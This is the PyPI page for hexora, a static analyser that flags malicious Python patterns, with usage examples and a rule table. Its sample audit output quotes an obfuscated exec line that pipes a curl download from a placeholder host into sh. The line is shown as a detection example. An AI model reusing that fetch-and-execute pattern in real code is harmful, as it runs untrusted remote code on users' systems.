Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit of project dependencies to find possible supply chain attacks.
  • Detect malicious scripts found on various platforms (e.g. pastebin, GitHub, open directories).
  • Analysis of IoC files from past security incidents.
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/ 

Where python3.11 is the version of the Python in virtual environment.

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3020 DunderShellExec Execution of a shell command via __import__.
HX3030 DunderCodeExec Execution of code via __import__.
HX3040 DLLInjection Possible DLL injection.
HX4000 ObfuscateShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX4020 ObfuscatedDunderShellExec Execution of an obfuscated shell command via __import__.
HX4030 ObfuscatedDunderCodeExec Execution of obfuscated code via __import__.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX8000 BinaryDownload Suspicious binary download.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.1.1.tar.gz (4.5 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.1.1-cp313-cp313-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.1.1-cp313-cp313-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.1.1-cp313-cp313-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.1.1-cp313-cp313-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.1.1-cp313-cp313-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.1.1-cp313-cp313-macosx_10_13_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.1.1-cp312-cp312-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.1.1-cp312-cp312-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.1.1-cp312-cp312-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.1.1-cp312-cp312-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.1.1-cp312-cp312-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.1.1-cp312-cp312-macosx_10_13_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.1.1-cp311-cp311-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.1.1-cp311-cp311-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.1.1-cp311-cp311-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.1.1-cp311-cp311-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.1.1-cp311-cp311-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.1.1-cp311-cp311-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.1.1-cp310-cp310-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.1.1-cp310-cp310-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.1.1-cp310-cp310-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.1.1-cp310-cp310-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.1.1-cp310-cp310-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.1.1-cp310-cp310-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.1.1-cp39-cp39-win_amd64.whl (2.0 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.1.1-cp39-cp39-musllinux_1_2_x86_64.whl (2.5 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.1.1-cp39-cp39-manylinux_2_28_x86_64.whl (2.4 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.1.1-cp39-cp39-manylinux_2_28_aarch64.whl (2.4 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.1.1-cp39-cp39-macosx_11_0_arm64.whl (2.1 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.1.1-cp39-cp39-macosx_10_12_x86_64.whl (2.2 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.1.1.tar.gz.

File metadata

  • Download URL: hexora-0.1.1.tar.gz
  • Upload date:
  • Size: 4.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1.tar.gz
Algorithm Hash digest
SHA256 d45035c9e4681d4201f8261ca66472cd69d18ead4bc6501c7ac9ce161b62543c
MD5 5e51d789f153fcbee85f4d84ab911b3d
BLAKE2b-256 6f0796946421f786ef778fcc5f92f3ca772a0aefc9b70676c3fad669ade7c57e

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.1-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 c9d62cb620b00084b00d453e85115041332823cc8e107ec324ad5507a0264148
MD5 a6de901960c689529ae8709ffc6ace3b
BLAKE2b-256 61fc195cde72cbcdb94cbb76d9228e6f214542f503f29efc8df1ef28d26b587d

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 5f2313f759914e5aef45d262afe4bb021ddde43e1071de76140cace627e12ce3
MD5 1e7ad8fb0acd8b298fc177fd7c467027
BLAKE2b-256 cd8b7ead83a1978f330ac4d54d2b5d9e38ef0ddbae761571040d748f9a9bdfd5

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 84cf67b3cfe965cce8692d85b2c9fcb473479b170c3e527937000254c92e61a7
MD5 78666146d01e4f6e5852b95d8e01a88c
BLAKE2b-256 5ee7b7016b637be382d7040cb455f381c4cb90d0aecce58b7d01c095d46feb35

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 be7a544c62a0d30419ad39c4c98f02ad0057ea223629de3eff76078d9a69c96b
MD5 7f41ee308ed082e4cb870c53336d807d
BLAKE2b-256 43ba78304dc93dccd7338a8468e99cc86097d5cc326870b73cc4e5933fbc9127

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 ce42c46cfe10154e145bb94c2d60e47fc6f2b003cf7ef477a739cf8f7d10d721
MD5 511c46c1bc0787a77cae3f5e2b900229
BLAKE2b-256 9f7b76b48d353660635eda112bbf347c55cadb67f1a68e525d7ba174c0adc124

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 dd2898ecbbf8b46f7d1feb709b768f3ab30ab656b90dd885ef51266c1d65e1c6
MD5 6bce3baea69b4a44b1c92daeeed69292
BLAKE2b-256 ad8a5555011000b2c9c95684d9378309840a355ae64f36d6f7456e9184f88987

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.1-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 bb9b60bfb6c498fcb4451a4d881f5a37841766f8d6ed4d71ee847f7f2abbb8f0
MD5 4f14999096e07918776b5686cdf2c39c
BLAKE2b-256 ea5b5d280133b95ef034056af6992c9a3c453d06d0c287ad36161cd921b415d6

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 0527d683307baa84f6ad16d7a0bde361c3279c59865f2754ac3513de9c2bba61
MD5 ee58f659f8c0dc4a5ddd96dbeb708607
BLAKE2b-256 a3941a734bccc858712072d63dd88450724527e3b63ef0e65e65bc8c139a1ce4

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 3b7670af7d856598592597d168405330f56f8e99b3fe5d98b3aefee50e20e783
MD5 54f9e2eb498f4cd729dd754009d80632
BLAKE2b-256 85694c8eed6a60146ead63c1b61bf49d34d4d3fed78ba0fc2f8e79cc712187f9

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 090aae77258de3953e7ab566e25c6e2920ca80009b1ccb0474d04fa17b58f53e
MD5 ec57467eefbfafed93d1b365b23ee24a
BLAKE2b-256 d9532c03f3c505ffb97bb338aa32aa19084e7b63e16e2cde95f9b2de4a78fe5a

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 c4b8dcc7afce4864ef701550d7826feebc23901d2cce5b0d8a94b1f98b0e1382
MD5 3ef258538be51a50f701bd2e0fdf0c7f
BLAKE2b-256 b7ffbdefbcac801f04deb9f14e94cb0e9e956d7b02281133fb571085458b8b94

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 038620e65b8b37b80fea8e6f80bb44fbeb250c7645670365717db21addcb9595
MD5 23528e36adada762543fada9a9ba7be2
BLAKE2b-256 3e82e6080c54a408b4a70fe9492c9210cfa92da7f1c640db0b8daa3c7039c258

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.1-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 4e719312eaaff10696094f971bf9fcdfc12b9a80fcc8f7c8c3fd967e744a50f1
MD5 b2d65390c2f33e0c0957b0efe2ee734e
BLAKE2b-256 3032ce7df938bba6832030f31ffe59a0c84175439b49c4aaffaf0ac732dead96

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 bcd1184006fd2beced03d7e11c8678f34f976474d734fbce8a82bbf497c88c38
MD5 3cf3ab53a876dda93e11b910470f101f
BLAKE2b-256 1021fdb95f830f907731f89fc89ab3656cd4fe8d940b1df5a9ff6cabfafd0f8b

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 2d4fee39537d7f70145a158a5d6b6ad5fe886936368433064ac536868ccb8a19
MD5 4c7d198391a06291d9df38a51b9642ad
BLAKE2b-256 26746aad06956462d26275bd3b6c40fa1e086177008b816cd4a96c03c6a53b21

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 6cec72f2ac1c0878f310497cd4b91dfce20f7d15571d92e00bfc99f86f29fe49
MD5 dd893eef8a43cf63038bf7fe6aa1fa76
BLAKE2b-256 7a574ecfe5063cad905c32e337fc696c4d1523500464e96936ba75809d782794

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 3e0caf9d7958510e320edd718c1231d076e929e32a93776a6987ed95008758c2
MD5 bcd3025f6c113862f0a890ade2620cf6
BLAKE2b-256 dbde8405894af7ef7bf4f98da43135097441983d7899fca209c6300c34a3deaa

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 597ecfbbaea4bc42057f2bc83b658d3f0c27392b66377ea1bd632daeb30a735d
MD5 98ff50d9ed3f8728c12b705d073af934
BLAKE2b-256 677d78d8a48a5d0c304ae85f8d0a441ec3b9c4c86c85bef860d880c0e81162b3

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.1-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 91f88ad7298b299ee98d0d2fa4c2a05bbe1c114f3e5784e5a2e54807c81af81b
MD5 743f50f91dbb08ee8994c2954ab5615e
BLAKE2b-256 fe9c23b3f3cb0dd00f75f49b75f7df7ce2806ac691958ee6e37e25f701681944

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 96c84a859c03664883a2bacd0dc20eabf8b78de24928d96bed1651c72b6a5ec8
MD5 ab73614b0e2bad32aada0c316f027b89
BLAKE2b-256 8a28236f4848c4791e193b1c618768337be16506969f68a3a27fdf3bf038a9e0

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 3b648c19e6699833a41beacc3b84d1e0808e7d7f49c8453ad47cf2236755306b
MD5 8cfaf26d926de4c11baa8a4c09249283
BLAKE2b-256 7d826375562e2043b0eb7732f4b9b059b2962ba3057c54912485564c9bb1e9e2

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 dc78f5d4bd583d9124ecc76beff41ddec4b8f693386d4ec994d9d79b360870e3
MD5 e5fb61d020f8aebdb2f1d466cf86950d
BLAKE2b-256 5b58bab1ce9c38ea5d833db4e9985ae87a5e56688badf40032c63d2cf36d26db

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 f42e02aad44a45f7a8bef8e088e10010cc94cfee38780606d4e5d631ace22b91
MD5 b241bcd3fe2f44a8fbf9084bf525ff1d
BLAKE2b-256 5bdfbf5953fe15c40bd703031606bfce1dbaaabfbd9520d68dcddffd4f5007ba

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 946b496448f2ff5119ef50f52c341e47ab60460c170018932acd1d13be249f72
MD5 8f0f81bbbc15329b4ad56cb7b6762d59
BLAKE2b-256 7d9ad2e6be5eaf152175c6939764eedb5e390ba0df0ff924801571a16fd6bd17

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.1.1-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.0 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for hexora-0.1.1-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 b098ee383377fcf72282336a141006c9bcdc835e5960ee751c381c85bf4e34f9
MD5 0c53ee220259ff086f9f358bcaab332c
BLAKE2b-256 15ece0f9dccf4fc5e0fdf17a8d55479fa03716185a188dd8d6627ca78aa6df71

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 bc12ef55aa27cdd01f8749b0c2e2f81767ea076a718cd6274386ccd134bddd26
MD5 bab75e4766e54840f9253925e0c21f51
BLAKE2b-256 88a446c60e0f83b55cbb329c4da0404c0442d5ff3165d04bad68cca072f06394

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 b1b057d9b5036c0059b221d1a91ead88fc7db7e0b556ce9727acda4e953455de
MD5 6aeeb505fca79e800a81f1579cf54969
BLAKE2b-256 e5a74e4416d25278559857a35f66410084a8defe9056df6dcd93efd03c62a7d9

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 eac4de03d32ce3dc270f00f57eace1be4d5b044d82c8c9a86aeb223600e51fc5
MD5 87542f01f920d47b051b2eed85aaf371
BLAKE2b-256 fa7dbb641539661787ca4878741bdc9551269d29256f8097bdd37b180927bd71

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 0960d016318ad9757776a6e204632efdc046f365276a6fc6f9ebf2a19ac0fb58
MD5 434c60b90f1160e4f46f56a4bc4bebda
BLAKE2b-256 1b930fd4c5ab66015386bbfbc1e891e19ccf86e4baab4ad9b23b891acff6edc6

See more details on using hashes here.

File details

Details for the file hexora-0.1.1-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.1.1-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 0e120a41d26130bc72b67490e497badd6f72ad476fed5b7f9e1ba37f62114360
MD5 580c9dee1f0171a2cd546b33d1a7503f
BLAKE2b-256 3f5544a72c9d03fa267507dd8983e39a8e077cfc2512d8de4fb5456cdc2d8a1e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page